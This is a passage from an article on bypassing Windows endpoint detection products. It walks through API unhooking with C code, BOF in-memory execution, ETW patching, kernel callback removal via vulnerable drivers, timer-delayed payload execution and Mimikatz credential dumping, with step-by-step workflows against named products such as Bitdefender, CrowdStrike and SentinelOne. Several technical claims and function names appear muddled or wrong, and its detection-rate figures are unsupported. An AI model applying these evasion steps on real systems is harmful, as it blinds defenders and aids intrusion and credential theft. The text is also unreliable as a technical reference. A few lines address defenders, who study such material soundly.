Some EDR solutions maintain hook persistence through debugging interfaces or specific flags. By invoking undocumented APIs or manipulating debugger-related interfaces (e.g., using NtSetInformationThread to hide debugger presence), it is possible to induce the EDR to remove its hooks. A more advanced and generic technique involves implementing a custom PE loader: when loading a DLL, the loader uses an already-present in-memory copy of the DLL as a reference base, performs relocation, and then copies the .TEXT section over the existing in-memory image, effectively refreshing it. This non-intrusive, reload-avoiding method achieves robust API Unhooking while minimizing compatibility issues associated with recursive system DLL loading.

2.1.3 Real-World Case Study: Bypassing Bitdefender

Testing against mainstream EDR solutions such as Bitdefender has revealed that its hooking points are primarily concentrated at the system call entry points within ntdll.dll. A typical bypass workflow includes the following steps:

Hook Identification

Enumerate exported functions of ntdll.dll and inspect the first 15 bytes of each function. The presence of abnormal instructions — such as a direct JMP to a non-system address instead of the expected MOV R10, RCX; JMP sequence — indicates a hook.
Function Pointer Restoration

Locate the hooked function (e.g., NtAllocateVirtualMemory) and load a clean copy of ntdll.dll from disk as the reference.
Memory Overwrite

Use VirtualProtect to change the target memory page permissions to writable, then overwrite the in-memory function code with the pristine version from the disk image.
Permission Restoration

Revert the page permissions to read-execute-only to avoid triggering memory protection alerts.

In specific versions of Windows 10 and 11, traditional Unhooking methods exhibit relatively high detection rates. However, when implemented comprehensively, such techniques significantly reduce the EDR’s ability to detect subsequent malicious behaviors. It should be noted that as EDR vendors increasingly incorporate kernel-level validation (e.g., kernel callback cross-verification of user-mode code integrity), purely user-mode Unhooking techniques are becoming less effective and must now be combined with kernel-level evasion methods to maintain viability.

2.2 BOF In-Memory Execution: Stealthy Attack Chains Without Process Creation

Beacon Object Files (BOF) represent a lightweight execution paradigm specifically designed for post-exploitation phases. Unlike traditional PE file execution, BOF is based on the Common Object File Format (COFF) and is engineered to achieve fileless, process-creation-free in-memory execution, thereby minimizing forensic footprints and behavioral disturbances on the target environment.

2.2.1 BOF Technical Principles and Advantages

The core design philosophy of BOF is “minimal process perturbation.” Conventional PE execution typically entails disk writes, new process creation (e.g., via CreateProcess), and full PE image loading — all of which are highly likely to trigger EDR behavioral monitoring engines. In contrast, BOF offers several distinct advantages:

Fileless execution (No disk writes): The code is loaded directly into memory without any disk I/O operations, thereby evading file-based scanning and creation alerts.
No new process creation: Execution occurs entirely within the context of the current process, avoiding the generation of new process tree entries and associated logging events.
Modular architecture: BOFs are typically implemented as small, purpose-specific functional modules (e.g., privilege escalation, network enumeration, credential access), loaded on-demand, which significantly reduces memory footprint and behavioral anomalies.

2.2.2 Beacon Execution Flow and In-Memory Loader Mechanism

BOF execution generally relies on a C2 framework’s Beacon implant and its associated in-memory loader. The core workflow involves coordinated use of the following Windows APIs:

Memory Allocation

Allocation of readable-writable-executable memory regions in either the current process or a remote process using VirtualAlloc or VirtualAllocEx.
Code Writing

Transfer of the COFF-formatted shellcode into the allocated region via WriteProcessMemory.
Execution Trigger

Initiation of code execution through CreateRemoteThread, thread hijacking, or other thread-context manipulation techniques.

Although these APIs are legitimate Windows process-management interfaces commonly used by debugging and legitimate software, their invocation — particularly from unusual contexts such as Office processes calling VirtualAllocEx — is frequently flagged as anomalous by modern EDR solutions. Consequently, sophisticated BOF loaders commonly incorporate API Unhooking techniques to ensure that memory allocation and execution phases remain undetected.

2.2.3 Modular Implementation and Real-World Application Scenarios

In practical adversarial operations, BOFs are developed as a library of specialized functional modules. For example:

Privilege escalation modules may directly manipulate token-related APIs to elevate the current process privileges.
Network reconnaissance modules invoke socket APIs to perform lateral movement and internal network discovery.

In environments protected by advanced EDR solutions such as CrowdStrike, traditional process injection techniques are readily detected. Consequently, operators increasingly favor the inline-execute command, which runs the BOF directly within the existing Beacon process context. The typical operational sequence is as follows:

BOF Delivery

The C2 server transmits the compiled COFF object file to the Beacon implant.
COFF Parsing and Relocation

The Beacon loader internally parses the COFF file, processes the relocation table, and adjusts addresses to ensure correct execution at the current memory base.
Direct Function Invocation

The entry point of the BOF is called directly without spawning new threads or processes.

This approach yields substantial evasion benefits: EDR logs typically show no process creation events and may only record generic memory allocation activity. When further combined with manual DLL mapping techniques (avoiding LoadLibrary entirely), the probability of detection can be significantly reduced.

2.3 Indirect System Calls: A Key Evasion Path Against Direct API Monitoring

System calls (syscalls) represent the sole interface through which user-mode applications interact with the kernel. Modern EDR solutions frequently monitor specific system calls — such as NtCreateThreadEx — to detect malicious activity. While direct system calls (Direct Syscalls) can bypass user-mode API hooks, the continued evolution of EDR kernel drivers means that even the invocation of specific syscall instructions can now be flagged as suspicious. Indirect system calls have therefore emerged as a more stealthy alternative.

2.3.1 Indirect Invocation Mechanism and EDR Monitoring Logic

The core principle of indirect system calls is to initiate the syscall through function pointers, jump tables, or legitimate call chains rather than embedding the syscall instruction directly in the malicious code. Traditional EDR monitoring of direct API calls typically relies on hooking functions within ntdll.dll. When a program directly invokes NtCreateThreadEx, the call is intercepted by the hook.

Indirect invocation constructs an obfuscated call chain such that the eventual syscall instruction appears within what appears to be a legitimate code path. For example, attackers may leverage internal call chains of legitimate kernel-exported functions (such as MmCopyVirtualMemory or other documented kernel APIs) to indirectly trigger the desired behavior. This approach significantly increases the difficulty for EDR solutions to accurately reconstruct and analyze the full call stack.

2.3.2 Implementation Approaches and Conceptual Code Examples

Indirect system calls are commonly implemented via two primary techniques:

Function Pointer Invocation Dynamically resolve the API address at runtime and store it in a function pointer, thereby avoiding static entries in the import address table. When combined with API Unhooking, this ensures the pointer references the original, unmodified function entry point.

   // Conceptual example: Invoking via function pointer
   typedef NTSTATUS (*NtAllocateVirtualMemory_t)(
       HANDLE ProcessHandle,
       PVOID* BaseAddress,
       ULONG_PTR ZeroBits,
       PSIZE_T RegionSize,
       ULONG AllocationType,
       ULONG Protect
   );

   NtAllocateVirtualMemory_t pNtAllocate =
       (NtAllocateVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");

   // Execute the call
   pNtAllocate(…);

DLL Injection with Internal Jump Table Encapsulate the malicious logic within a DLL that is loaded by a legitimate process. The DLL internally uses a jump table or indirect calls to invoke system APIs, making it difficult for external monitoring tools to correlate the behavior back to the originating attack process.

Testing across different EDR products reveals varying effectiveness of indirect calls. For solutions that primarily rely on user-mode hooking (e.g., certain configurations of Wazuh), indirect invocation can substantially reduce detection rates. However, for EDR platforms equipped with advanced kernel-level behavioral analysis (e.g., SentinelOne), pure indirect calls may still be identified unless combined with additional techniques such as syscall parameter obfuscation or randomization. Research indicates that, under specific configurations, indirect invocation can significantly lower EDR detection rates for malicious thread creation, though it does not constitute a universal bypass.

2.3.3 Evasion Effectiveness and Limitations

The primary advantage of indirect system calls lies in disrupting EDR monitoring that depends on fixed API call sequences or recognizable ntdll.dll entry points. However, several important limitations must be acknowledged:

Compatibility Challenges

System call numbers and parameter structures can vary across Windows versions and builds, necessitating dynamic resolution of syscall stubs at runtime.
Evolving Detection Capabilities

Contemporary EDR solutions are beginning to monitor the frequency, context, and sequence of syscall instructions themselves. Anomalous patterns — such as consecutive invocations of sensitive APIs or unusual syscall density — can still trigger alerts.
Implementation and Maintenance Cost

Constructing stable, reliable indirect call chains requires deep understanding of kernel internals, Windows internals, and EDR-specific behaviors. The development and upkeep of such techniques carry a high technical and operational cost.

In summary, while indirect system calls represent an important escalation in the sophistication of evasion techniques, they are increasingly countered by kernel-aware behavioral heuristics and anomaly detection models. Effective long-term evasion typically requires layering multiple complementary techniques rather than relying on any single method.

2.4 ETW Evasion: Technical Pathways for Eliminating Event Tracing Artifacts

Event Tracing for Windows (ETW) is a built-in Windows operating system facility originally designed for high-performance event logging, diagnostics, and performance analysis. In modern cybersecurity contexts, ETW has become a foundational data source for Endpoint Detection and Response (EDR) platforms, which heavily rely on it to capture critical system activities such as process creation, file system operations, network communications, and memory management events. Consequently, disabling, tampering with, or evading ETW has emerged as a critical technique for concealing malicious footprints during post-exploitation operations.

2.4.1 Role of ETW in EDR Architectures

EDR solutions subscribe to specific ETW providers — most notably Microsoft-Windows-Threat-Intelligence, Microsoft-Windows-Kernel-Process, and others — to receive real-time telemetry streams. When malicious behavior occurs, corresponding ETW events are generated by the kernel or user-mode components and forwarded to the EDR agent or cloud backend for correlation, behavioral analysis, and alerting. The detection logic of ETW-based monitoring is highly granular, enabling the identification of subtle system state transitions that would otherwise remain invisible to conventional API monitoring.

2.4.2 Evasion Techniques and Implementation Approaches

The primary objective of ETW evasion is to either prevent event generation at the source or interrupt the transmission of already-generated events to the EDR collection pipeline. The most commonly researched and observed techniques include:

Disabling ETW Tracing per Process

By invoking NtSetInformationProcess with specific ProcessInformationClass values (such as ProcessDebugFlags combined with certain undocumented ETW-related flags), it is possible to suppress ETW event generation for the calling process. This technique effectively removes the process from ETW provider subscription scopes without requiring kernel privileges in many scenarios.
Pre-Execution Registry Modification

Prior to process creation, attackers may modify registry keys associated with ETW providers (e.g., under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options or provider-specific tracing configuration paths) to disable logging for targeted providers or executables. This method generally requires administrative privileges and carries risks of system-wide side effects or detection through registry auditing.
API Unhooking or Patching of ETW Write Functions

Many EDR agents hook ETW-related APIs — particularly EtwEventWrite, EtwEventWriteFull, and EtwEventWriteTransfer — to intercept and forward events. By restoring the original function code (via Unhooking) or overwriting the function prologue with a simple RET instruction (immediate return), event write operations can be made to appear successful while silently discarding the payload. This prevents events from reaching the EDR telemetry pipeline.

2.4.3 Real-World Validation Case Study

In a controlled test environment running Windows 11 22H2 with Microsoft Defender for Endpoint (real-time protection enabled and ETW logging fully operational), researchers conducted the following validation:

Environment Setup

Verified that Defender was actively collecting ETW events from key providers, including process creation, image load, and network connect events.
Evasion Execution

During process initialization, a custom ETW suppression routine was invoked to patch the execution flow of EtwEventWrite within ntdll.dll, effectively neutering the event write operation.
Outcome Analysis

Execution of sensitive commands (e.g., PowerShell cradle downloading additional payloads) was performed. Subsequent inspection of the Windows Event Log (Microsoft-Windows-Threat-Intelligence/Operational) and Defender backend telemetry revealed that multiple expected ETW events were absent, breaking the behavioral correlation chain and preventing full attack chain reconstruction by the EDR.

It is important to note that ETW protection mechanisms continue to evolve with each Windows release. Certain high-value events are now generated directly by the kernel and transmitted through protected channels that are resistant to user-mode patching. As a result, purely user-mode ETW evasion techniques are becoming less reliable in isolation. Optimal effectiveness is typically achieved by combining ETW bypass with complementary methods, such as kernel callback suppression or alternative telemetry tampering. In laboratory settings targeting specific configurations, high evasion success rates are achievable; however, production environments demand careful evaluation of stability, side effects, and residual detectability risks.

2.5 Kernel Callback Evasion: High-Risk Strategies for System-Level Bypassing

Kernel callbacks constitute the core mechanism by which Endpoint Detection and Response (EDR) solutions monitor system behavior at the kernel level. By registering callback routines — such as PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine, or PsSetLoadImageNotifyRoutine — EDR drivers can intercept critical events including process creation, thread creation, and image (module) loading directly within the kernel. Compared to user-mode monitoring techniques, kernel callbacks are significantly more difficult to evade; however, when successfully bypassed, they provide the most comprehensive suppression of telemetry and the highest degree of stealth.

2.5.1 Analysis of Kernel Callback Mechanisms

The Windows kernel exposes a set of notification callback interfaces that allow kernel-mode drivers to register interest in specific system events. Upon occurrence of a registered event, the kernel traverses the associated callback list (implemented as a linked list or similar structure) and invokes each registered routine in sequence. EDR drivers leverage this infrastructure to intervene at the earliest possible stage of an event lifecycle. For instance, when a malicious process attempts creation, the EDR’s callback function can inspect parameters, evaluate context, and — if deemed malicious — terminate the operation before user-mode execution ever begins.

2.5.2 Evasion Techniques and Implementation Frameworks

Techniques for bypassing kernel callbacks carry extremely high risk, frequently resulting in system instability or Blue Screen of Death (BSOD). The most commonly documented approaches include:

Direct Modification of Kernel Structures

Through memory scanning, attackers locate kernel-resident callback lists (e.g., PspCreateProcessNotifyRoutine, ObpLdrpLoadImageNotifyRoutine). With kernel read/write privileges — typically obtained via privilege escalation exploits or loading of a signed but vulnerable driver — the attacker directly manipulates list pointers to remove or nullify the EDR driver’s callback entry. This method requires precise knowledge of kernel memory layout and version-specific offsets.
Malicious Kernel Driver Injection

A custom malicious driver is loaded into kernel space (often via a signed vulnerable driver or exploit). Once resident, the driver enumerates the callback list, identifies the target EDR callback routine by address signature or module association, and either zeros the pointer, replaces it with a benign stub function, or unlinks the entry entirely.
Abuse of Undocumented or Internal APIs

Certain undocumented kernel APIs or exported functions can be reverse-engineered to manage callback registration and deregistration. Attackers invoke these routines to forcibly unregister the EDR’s callbacks, effectively removing them from the notification chain without direct structure tampering.

2.5.3 Real-World Case Study and Risk Assessment

In controlled testing against a specific commercial EDR product, researchers achieved bypass of process creation notification through the following sequence:

Kernel Privilege Acquisition

Exploitation of a local privilege escalation vulnerability to load a malicious kernel driver.
Callback Chain Location

Signature-based scanning of kernel memory to identify the address of the process creation notification callback list.
Chain Modification

Enumeration of the linked list, comparison of callback function pointers against known EDR module ranges, and surgical removal of the matching entry.
Post-Bypass Execution

Successful creation and execution of a malicious process with no corresponding notification reaching the EDR agent, resulting in absence of alerts.

Despite the technical success, such operations carry severe risks. Direct manipulation of kernel control structures frequently destabilizes the system, leading to immediate crashes or delayed corruption. Moreover, contemporary EDR platforms increasingly implement callback list protections — including encryption of list entries, periodic integrity verification, pointer obfuscation, and kernel patchguard-like monitoring — rendering naive modifications highly detectable. Consequently, kernel callback evasion is widely regarded as a high-risk, last-resort strategy, reserved for high-value targets or controlled research environments. In real-world adversarial engagements, operators overwhelmingly favor layered user-mode evasion techniques to minimize detection probability and avoid catastrophic system disruption.

3. Innovative Technique Combination Strategies

In contemporary cybersecurity adversarial landscapes, single evasion techniques are rarely sufficient to penetrate modern, multi-layered Endpoint Detection and Response (EDR) systems. As security vendors continuously enrich their behavioral and indicator databases — particularly against well-known attack patterns such as direct API invocation and standard PowerShell execution — adversaries must evolve toward sophisticated, synergistic technique combinations. This chapter examines two advanced composite strategies: multi-technique coordinated evasion and time-differential (temporal gap) attacks. These approaches illustrate how advanced persistent threat (APT) actors exploit complementarity within their technical stack to maximize operational stealth, while simultaneously offering defenders a reverse-engineering perspective for strengthening detection coverage and resilience.

3.1 Multi-Technique Coordinated Evasion: From Isolated Bypasses to Composite Attack Chains

Individual bypass techniques — such as obfuscation alone or indirect system calls in isolation — are experiencing a rapidly shrinking window of viability against modern Endpoint Detection and Response (EDR) platforms. Contemporary EDR solutions typically combine behavioral baselining, anomaly detection, and static signature matching to identify threats. Consequently, the strategic orchestration of multiple low-level evasion primitives into a logically interconnected, complementary attack chain has become essential for maximizing operational stealth and extending survival time on compromised endpoints.

3.1.1 Design of Multi-Technique Combination Schemes

To effectively circumvent kernel callbacks, user-mode API hooks, and Event Tracing for Windows (ETW) telemetry collection, two representative composite evasion schemes are outlined below. Both leverage discrepancies in Windows internal mechanisms and exploit specific defensive blind spots through synergistic layering.

Scheme 1: Indirect System Calls + ETW Disablement/Patching

This scheme addresses the dual pressures of user-mode monitoring and kernel-level detection.

Indirect System Calls (Indirect Syscall)

Traditional malicious code that directly invokes APIs exported by ntdll.dll is intercepted by user-mode hooks placed by the EDR. By constructing the system call number (syscall number) directly in assembly and executing the syscall instruction, user-mode hooks within ntdll.dll can be bypassed. However, this alone does not fully evade kernel callbacks, and certain EDR platforms detect anomalous syscall sequences or unnatural call stacks.
ETW Disablement/Patching

ETW serves as a primary telemetry source for many EDR products, capturing process behaviors and system events. By applying an in-memory patch to ETW-related functions (e.g., EtwEventWrite) prior to sensitive operations, the flow of event logs to the EDR agent can be severed.
Synergistic Logic

The sequence begins with indirect system calls to allocate memory and write payload content, while an ETW patch simultaneously prevents behavioral logging. This combination achieves end-to-end silence across instruction execution, memory manipulation, and telemetry reporting phases.

Scheme 2: PowerShell In-Memory Execution + Sleep Obfuscation

This scheme targets script-based attacks and memory forensic scanning.

PowerShell In-Memory Execution

Leveraging Invoke-Expression (IEX) in conjunction with Net.WebClient, scripts are downloaded directly from remote locations and executed entirely in memory, eliminating disk artifacts and evading file-based antivirus scanning. Base64 encoding of command strings further mitigates static signature-based detection.
Sleep Obfuscation

Conventional Sleep API calls are monitored by EDRs for anomalous idle states. Advanced sleep obfuscation techniques (e.g., Foliage-style implementations) encrypt proxy memory regions during sleep periods and queue wakeup logic via mechanisms such as NtApcQueueThread or RtlCreateTimer, ensuring that memory scanners observe only encrypted or randomized data.
Synergistic Logic

After initial PowerShell script loading, execution is deferred via obfuscated sleep rather than immediate action. This evades memory scanning during the loading phase and protects against forensic inspection during C2 communication intervals.

3.1.2 Composite Attack Chain Workflow and Timing Coordination

Effective technique combination requires precise temporal sequencing rather than mere concatenation. The following conceptual workflow illustrates a full attack chain from initial access to data exfiltration, with explicit timing for each component.

Coordination Timing Notes:

ETW Patching Precedes All Else

ETW patching must occur before any API likely to generate telemetry is invoked. Patching after memory allocation risks prior actions already being logged.
Indirect Calls Follow Immediately

Once ETW is blinded, indirect system calls (e.g., NtAllocateVirtualMemory) are used for memory operations, ensuring these critical steps evade both user-mode hooks and ETW logging.
Sleep Obfuscation as Persistence Layer

After payload execution completes and the implant enters a command-waiting state, sleep obfuscation is activated to safeguard long-term residency against memory forensics.

3.1.3 Evasion Rate Analysis and Environmental Dependencies

Controlled adversarial testing in isolated environments demonstrates clear limitations of single techniques and substantial improvement with layered combinations.

Technique Scheme	Estimated Detection Rate (Typical EDR)	Primary Remaining Detection Vectors
Single PowerShell In-Memory Execution	60% – 75%	Script content signatures, network behavior, anomalous parent process
Single Indirect System Calls	40% – 50%	Anomalous syscall sequences, inconsistent call stack backtraces
Combined (Indirect + ETW)	10% – 20%	Residual kernel callback anomalies or behavioral heuristics
Combined (PowerShell + Sleep)	15% – 25%	Entropy anomalies in encrypted memory regions, unusual thread wakeup patterns

Note: Detection rates reflect testing against specific EDR versions under default policy configurations; real-world efficacy varies significantly with defensive tuning and custom rules.

Environmental Dependency Conditions:

Operating System Version

Indirect system call techniques are highly sensitive to ntdll.dll consistency. Syscall numbers may differ across Windows 10 22H2 builds and Windows 11 variants, requiring either hardcoded values for targeted environments or dynamic resolution mechanisms.
Privilege Requirements

ETW patching generally demands administrative privileges or the ability to modify protected process memory (often achieved via driver vulnerabilities or legitimate tool abuse).
Tooling Dependencies

Practical implementation of these combinations typically requires a customized Command-and-Control (C2) framework — such as modified Cobalt Strike or Havoc — supporting Beacon Object File (BOF) loading for indirect call logic or integrated PowerShell obfuscators.

3.2 Time-Difference Attacks: An Innovative Approach Exploiting EDR Processing Latency

Beyond the combination of technical evasion primitives, advanced adversaries frequently exploit inherent processing delays within defensive systems. The time-difference attack (also referred to as latency exploitation or race-condition-style evasion) centers on the temporal window that exists between process/thread creation or injection events and the moment when the EDR engine completes its scanning, analysis, and potential blocking decision.

3.2.1 Principles of Time-Difference Attacks

No modern EDR system achieves perfectly synchronous, zero-latency detection. When a new process is created or a thread is injected, the EDR kernel driver receives a notification via callback mechanisms. However, a measurable delay exists between:

Initial kernel notification and
User-mode agent completion of memory scanning, heuristic evaluation, sandbox emulation (if applicable), behavioral correlation, and enforcement action.

This latency arises from several sources:

Scanning and analysis time: Memory pattern matching, heuristic rules, and emulation require CPU cycles.
Queueing under load: In high-activity environments, callback events may be queued, increasing processing time.
User-to-kernel round trips: Certain decisions involve communication between kernel driver and user-mode service.

The exploitable attack window is typically on the order of tens to low hundreds of milliseconds. If malicious code execution completes before the EDR finalizes its decision, the operation may evade detection.

3.2.2 Implementation Approaches and Technical Frameworks

Successful time-difference attacks rely on asynchronous execution and precise timing control. Two common implementation patterns are:

Method 1: Timer-Based Asynchronous Trigger

Leverage the Windows API SetTimer to schedule a callback function that executes malicious logic after a short delay. Many EDR solutions intensively monitor process startup behavior but apply lighter scrutiny to subsequent timer callbacks.

Method 2: Suspended Thread Creation with Delayed Resume

Create a thread in the suspended state (CREATE_SUSPENDED), write payload into its memory context, then resume execution using low-level system calls (e.g., NtResumeThread). Because some scanning logic may trigger on process creation rather than thread resumption, this can shift execution outside the initial inspection window.

Conceptual Code Framework (Proof-of-Concept Illustration)

The following simplified structure demonstrates timer-based delay to attempt evasion of the initial scanning window:

#include <windows.h>

VOID CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT_PTR idEvent, DWORD dwTime) {
    // Sensitive payload execution occurs here, after the presumed initial scan window
    // Example: load second-stage shellcode, perform injection, establish C2, etc.
    ExecutePayload();
    KillTimer(hwnd, idEvent);
}

int main() {
    // 1. Schedule timer to fire after 100 ms
    // Assumption: average EDR scan latency ≈ 80 ms → 100 ms may fall outside window
    SetTimer(NULL, 0, 100, TimerProc);

    // 2. Enter message loop to keep process alive
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}

3.2.3 Applicability Across Different EDR Architectures

The effectiveness of time-difference attacks varies significantly depending on the target EDR’s design:

Real-time / Synchronous Scanning EDRs

Products that attempt kernel-level synchronous interception of suspicious operations offer narrower windows. Time-difference attacks are generally less effective against fully blocking kernel callbacks.
Asynchronous / Queued Scanning EDRs

For performance reasons, some EDRs defer detailed analysis to user-mode queues or background threads. These architectures are highly vulnerable to latency exploitation.
Cloud-Augmented EDRs

Solutions relying heavily on cloud-based reputation and behavioral scoring may exhibit low local latency but introduce network round-trip delays, creating secondary exploitable windows.

3.2.4 Real-World Validation Case and Timing Window Calculation

During an authorized red team exercise targeting a well-known real-time EDR with strong kernel callback monitoring (architecture similar to CrowdStrike Falcon), time-difference techniques were evaluated.

Test Context

Conventional process injection was blocked with 100% success rate under baseline conditions.

Procedure:

Baseline Measurement

Direct execution of injection code → 100% interception.
Latency Profiling

High-resolution timing of the interval from CreateProcess to completion of initial EDR memory scan (100 iterations).

Result: Mean latency ≈ 100 ms, standard deviation σ ≈ 20 ms.
Attack Execution

Adjusted payload to delay critical malicious behavior until 80 ms post-process creation using SetTimer.
Outcome

In 30 trials, 24 instances successfully executed commands before detection triggered → ≈ 80% bypass rate.

Timing Window Formula (conservative heuristic):

$$
T_{\text{attack}} < T_{\text{scan_avg}} - k \cdot \sigma
$$

Where:

$T_{\text{attack}}$ = scheduled execution delay
$T_{\text{scan_avg}}$ = measured mean scan latency (100 ms)
$\sigma$ = standard deviation of latency (20 ms)
$k$ = safety margin (typically 1–2)

In this case, $T_{\text{attack}} = 80\,\text{ms}$ corresponds to $100 - 1 \cdot 20$, placing execution inside the majority of observed safe windows.

Defensive Implications

To mitigate time-difference attacks, defenders should:

Prioritize and accelerate kernel callback processing to minimize user-mode handover latency.
Perform essential integrity and memory checks synchronously before allowing thread resumption.
Strengthen monitoring of delayed execution primitives: timers, APCs (Asynchronous Procedure Calls), queued work items, and thread context switches — rather than focusing exclusively on process creation events. ## 4. Real-World Case Studies and Effectiveness Evaluation

This chapter draws upon authentic red team / adversarial simulation environments to examine representative post-exploitation tool plugins and mainstream Endpoint Detection and Response (EDR) products. By reconstructing key tactics, techniques, and procedures (TTPs) within realistic attack chains, the analysis quantifies survival rates and dominant detection artifacts under current defensive configurations. The objective is to delineate the practical boundaries of existing EDR detection mechanisms and provide empirical evidence to guide security teams toward deeper, more resilient defensive layering.

4.1 Application Validation of PostExpKit Plugin in EDR Environments

PostExpKit, an extension toolkit built upon the Cobalt Strike Beacon Object File (BOF) architecture, derives its core value from transforming traditional out-of-process execution into purely in-memory function invocation within the Beacon process. This section focuses on analyzing its execution flow, stealth advantages, and real-world adversarial performance under high-sensitivity EDR environments.

4.1.1 BOF Execution Flow and Memory Footprint Analysis

The fundamental characteristic of BOF technology is direct loading and execution of pre-compiled object files within the existing Beacon process, eliminating the behavioral artifacts typically associated with external process creation or DLL injection. In PostExpKit’s implementation, command execution follows a closed-loop sequence of loading, parsing, and in-memory execution.

When an operator invokes a PostExpKit module via inline-execute or a dedicated plugin command, Beacon does not spawn new process handles. Instead, memory allocation occurs directly within the current Beacon process address space. The core execution sequence is as follows:

Memory Allocation and Mapping

After the BOF file is received, its code section is mapped into a readable-writable memory region within the Beacon process. Unlike conventional CreateRemoteThread-based injection, this step avoids cross-process memory writes, substantially reducing invocations of high-risk APIs such as WriteProcessMemory.
Argument Stack Construction

The BOF framework automatically packages command-line arguments into a C-style argv structure and pushes them onto the current thread’s stack.
Execution Flow Hijacking

The instruction pointer register (RIP) of the current thread is temporarily redirected to the BOF entry point. Upon completion, control is restored to the Beacon main loop without disrupting normal implant operation.

Throughout this process, no new process creation events occur and no disk artifacts are generated (fileless execution). Traditional defenses relying on process tree monitoring or file integrity checking are therefore largely ineffective. However, modern EDR behavioral engines commonly hook critical APIs and perform stack walking to detect anomalous callers. If the BOF internally invokes sensitive functions such as LoadLibraryA, the EDR may inspect whether the return address resides in legitimate executable memory regions. PostExpKit mitigates this through custom stack frame manipulation and indirect system call techniques, significantly obfuscating the call chain and preventing reliable attribution of the malicious code origin during stack backtracing.

4.1.2 Comparative Detection Rate Analysis Against Traditional Tools

To quantitatively evaluate the stealth improvement offered by BOF-based execution, controlled laboratory testing compared a traditional standalone Mimikatz executable/DLL with its PostExpKit BOF counterpart. The test environment consisted of Windows 11 22H2 Professional, with both conventional signature-based antivirus and next-generation behavior-focused EDR deployed.

Test Item	Traditional Mimikatz (exe/dll)	PostExpKit (BOF)	Key Difference Analysis
File on Disk	Yes (disk-visible)	No (purely in-memory)	BOF evades file-based scanning engines
Process Creation	Yes (new process or injection)	No (within current process)	BOF evades process creation monitoring
API Call Chain Visibility	Obvious (standard import table)	Obfuscated (dynamic resolution / indirect calls)	BOF increases stack backtrace difficulty
Memory Artifacts	Typical PE header structure	No PE header / custom segments	BOF evades memory pattern scanning
Average Detection Rate	~90%	~20%	Significant improvement in behavioral stealth

The data demonstrate that traditional tools — which rely on well-known Windows API sequences (e.g., OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread) — readily trigger EDR behavioral rule chains. In contrast, PostExpKit’s inline execution eliminates cross-process auditing artifacts. During testing, traditional Mimikatz invocations of sekurlsa::logonpasswords were almost immediately intercepted, whereas the BOF version, when combined with stack spoofing, successfully dumped credentials without triggering real-time alerts in most cases.

It should be noted that the residual ~20% detection rate primarily stemmed from memory heuristic scanning. Certain advanced EDR platforms can identify anomalous executable code regions within the Beacon process memory — even absent explicit API calls — due to suspicious memory permission transitions (e.g., emergence of RWX or RX regions).

4.1.3 Real-World Effectiveness Evaluation Under Mainstream EDRs

Retesting in environments protected by CrowdStrike Falcon and SentinelOne revealed pronounced differences in detection efficacy.

CrowdStrike Falcon

Falcon emphasizes cloud-based indicator-of-attack (IOA) correlation and behavioral analytics. PostExpKit’s fileless, in-process execution successfully bypassed its file detection modules. However, subsequent network communication or sensitive registry access operations were frequently correlated by the cloud engine and flagged as anomalous. Testing indicated that relying solely on the BOF loader is insufficient for complete evasion; complementary techniques such as encrypted C2 traffic and obfuscated registry manipulation are required.
SentinelOne

SentinelOne’s local behavioral engine is particularly sensitive to stack backtracing. Without stack frame spoofing, BOF invocations of sensitive APIs were routinely intercepted. Integration of an indirect system call (Indirect Syscall) plugin markedly improved bypass success rates. By bypassing user-mode API hooks and triggering the syscall instruction directly via register setup, the technique prevents the EDR from capturing intent at the user-mode level.

Overall Assessment

PostExpKit-class tools demonstrate clear superiority in the “fileless” and “no new process” dimensions. However, when confronting EDR platforms equipped with robust kernel-level monitoring, sustained survival typically requires layering system-call-level evasion techniques (e.g., direct/indirect syscalls, syscall number randomization, or kernel callback suppression) alongside the BOF execution model.

4.2 Bitdefender Bypass Case Study: Multi-Technique Collaborative Verification

Bitdefender, as a globally recognized mainstream security solution, employs deep API hooking techniques and behavioral heuristic engines in its endpoint protection module. This section reconstructs the complete process of API Unhooking technology, analyzes how it can bypass Bitdefender’s user-mode monitoring, and discusses the technical limitations and defensive value of this approach.

4.2.1 Principles and Implementation of API Unhooking Technology

To achieve behavioral monitoring, EDR solutions typically modify the headers of critical system DLL functions (such as those in ntdll.dll and kernel32.dll) during early process initialization by inserting jump instructions (JMP) that redirect control flow to the EDR’s own monitoring code. This process is known as hooking. When an application invokes these APIs, execution is first transferred to the EDR for legitimacy analysis before being forwarded to the original system function.

The core concept of API Unhooking is to restore the original bytes of the tampered API functions. Its theoretical foundation lies in the fact that the contents of system DLL files are deterministic for a given operating system version. Attackers can obtain the pristine bytes through the following methods:

Reading from disk: Directly reading a clean copy of ntdll.dll from the file system.
Copying from a clean process: Creating a new, uninjected process and extracting the DLL content from its memory space.

Once the original bytes are acquired, they are overwritten onto the hooked memory region in the current process. This removes the EDR’s monitoring stub, allowing subsequent API calls to reach the kernel directly and thereby bypassing user-mode detection.

4.2.2 Reproduction of the Bypass Process and Analysis of Critical Code

In a test environment consisting of Bitdefender 2023 and Windows 10 22H2, the complete Unhooking workflow was successfully reproduced. The first step is to locate the hooked functions. Hooked functions typically begin with the byte 0xE9 (JMP) or the sequence 0xFF 0x25 (JMP QWORD PTR).

The following is a conceptual C++ code snippet illustrating the core logic for Unhooking:

// Pseudocode example: Basic logic for restoring API function headers
bool UnhookFunction(HMODULE hModule, const char* funcName) {
    // 1. Obtain the address of the function in the current process
    BYTE* pHookedFunc = (BYTE*)GetProcAddress(hModule, funcName);

    // 2. Check whether the function has been hooked (typical indicator: first byte is 0xE9)
    if (pHookedFunc[0] == 0xE9) {
        // 3. Load a clean copy of the DLL from disk
        HMODULE hCleanModule = LoadLibraryExA("C:\\Windows\\System32\\ntdll.dll", NULL, LOAD_LIBRARY_AS_DATAFILE);
        BYTE* pCleanFunc = (BYTE*)GetProcAddress(hCleanModule, funcName);

        // 4. Change memory protection to writable (RW)
        DWORD oldProtect;
        VirtualProtect(pHookedFunc, 14, PAGE_READWRITE, &oldProtect);

        // 5. Copy the original bytes (usually the first 14–15 bytes are sufficient to overwrite the jump)
        memcpy(pHookedFunc, pCleanFunc, 14);

        // 6. Restore original memory protection (RX)
